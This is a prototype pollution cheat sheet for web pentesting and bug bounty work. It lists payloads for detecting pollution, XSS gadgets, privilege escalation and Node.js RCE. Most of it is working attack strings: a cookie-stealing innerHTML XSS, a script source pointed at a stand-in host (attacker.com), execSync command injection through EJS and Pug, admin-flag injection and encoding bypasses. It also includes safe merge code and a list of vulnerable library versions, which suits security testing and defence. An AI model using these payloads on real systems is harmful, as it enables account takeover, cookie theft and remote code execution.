Core Concept
JAVASCRIPT
// Every JS object inherits from Object.prototype
let obj = {};
obj.__proto__ === Object.prototype // true
// Polluting Object.prototype affects ALL objects
Object.prototype.polluted = "pwned";
let newObj = {};
console.log(newObj.polluted); // "pwned" - inherited!
Detection
URL Parameters
TEXT
?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
?constructor.prototype.polluted=yes
JSON Body
JSON
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
Verify in Browser Console
JAVASCRIPT
// After sending payload, check:
Object.prototype.polluted // Should return "yes" if vulnerable
{}.polluted // Inherited property
Client-Side Exploitation
Finding Gadgets
Search for Property Access
JAVASCRIPT
// Look for code patterns like:
if (options.property) { ... }
element[property] = value
config = { ...defaults, ...userInput }
Common Gadgets
JAVASCRIPT
// If code checks for innerHTML
if (element.innerHTML) { ... }
// Pollute: ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// If code checks for src
if (config.src) { script.src = config.src; }
// Pollute: ?__proto__[src]=data:,alert(1)//
XSS via innerHTML Gadget
TEXT
?__proto__[innerHTML]=<img/src/onerror=alert(document.cookie)>
XSS via Script Source
TEXT
?__proto__[src]=//attacker.com/xss.js
?__proto__[src]=data:,alert(1)//
XSS via Object.prototype.constructor
TEXT
?__proto__[constructor][prototype][toString]=function(){return'XSS'}
Server-Side Exploitation (Node.js)
RCE via child_process
JAVASCRIPT
// If spawn/exec uses object spread
const options = { ...userControlled };
child_process.spawn('cmd', [], options);
// Pollute shell option
{"__proto__": {"shell": "/proc/self/exe"}}
{"__proto__": {"shell": true, "NODE_OPTIONS": "--require /tmp/evil.js"}}
RCE via EJS
JAVASCRIPT
// EJS template engine
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
RCE via Pug
JAVASCRIPT
{"__proto__": {"block": {"type": "Text", "val": "x]));process.mainModule.require('child_process').execSync('whoami');//"}}}
RCE via Handlebars
JAVASCRIPT
// Compile time
{"__proto__": {"pendingContent": "<script>...</script>"}}
RCE via Lodash
JAVASCRIPT
// CVE-2019-10744
_.defaultsDeep({}, JSON.parse('{"__proto__": {"polluted": "yes"}}'));
Privilege Escalation
Admin Flag Injection
JSON
{"__proto__": {"admin": true}}
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
If Code Checks
JAVASCRIPT
if (user.isAdmin) {
// Grant access
}
// Even if user object doesn't have isAdmin
// It inherits from polluted Object.prototype
Bypass Techniques
Alternative Payloads
JAVASCRIPT
__proto__
__proto__.constructor.prototype
constructor.prototype
constructor["prototype"]
Encoding
TEXT
__proto__ → %5f%5fproto%5f%5f
__proto__[test] → __proto__%5btest%5d
Nested Pollution
JSON
{"a": {"__proto__": {"polluted": "yes"}}}
Array Prototype
JSON
{"__proto__": {"0": "injected"}}
// Affects array[0] on arrays without explicit 0 index
Identifying Vulnerable Code
Dangerous Patterns
JAVASCRIPT
// Object.assign with user input
Object.assign({}, userInput); // SAFE (shallow)
Object.assign({}, ...nested); // May be vulnerable
// Recursive merge (VULNERABLE)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Lodash functions (old versions)
_.merge()
_.defaultsDeep()
_.set()
_.setWith()
// Set by path
obj[path] = value; // If path = "__proto__.polluted"
Safe Code
JAVASCRIPT
// Check for __proto__
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
// ... rest of merge
}
}
// Use Object.create(null)
let obj = Object.create(null); // No prototype chain
Tools
Browser Extension
TEXT
# ppmap - Prototype Pollution client-side scanner
# ppfuzz - Automatic fuzzer
Manual Testing
JAVASCRIPT
// Inject in URL
?__proto__[testPollution]=exploited
// Check in console
{}.testPollution // Should return "exploited"
Object.prototype.testPollution
Burp Extension
TEXT
# Server-Side Prototype Pollution Scanner
# Check Burp BApp Store
Testing Methodology
Step 1: Identify Input Vectors
TEXT
- URL parameters
- JSON API bodies
- File uploads (JSON)
- WebSocket messages
Step 2: Test for Pollution
JAVASCRIPT
// Send pollution payload
{"__proto__": {"testPollution": "yes"}}
// Send normal request, check if polluted
// Response may show testPollution value
Step 3: Find Gadgets
TEXT
- Review JavaScript for property access
- Check for known library gadgets
- Test DOM manipulations
Step 4: Achieve Impact
TEXT
- XSS via gadget
- Privilege escalation
- RCE (Node.js)
Bug Bounty Tips
Impact Classification
TEXT
- Client-side XSS → High
- Server-side RCE → Critical
- Privilege escalation → High
- DoS via pollution → Medium
- Just pollution without gadget → Low/Informational
Demonstration
TEXT
1. Show pollution works (Object.prototype modified)
2. Show gadget that uses polluted value
3. Show actual XSS/RCE achieved
4. Clearly explain the chain
Known Vulnerable Libraries
TEXT
# Check version-specific CVEs
lodash < 4.17.12
jQuery < 3.4.0
Hoek < 5.0.3
minimist < 1.2.3
mixin-deep < 1.3.2
set-value < 2.0.1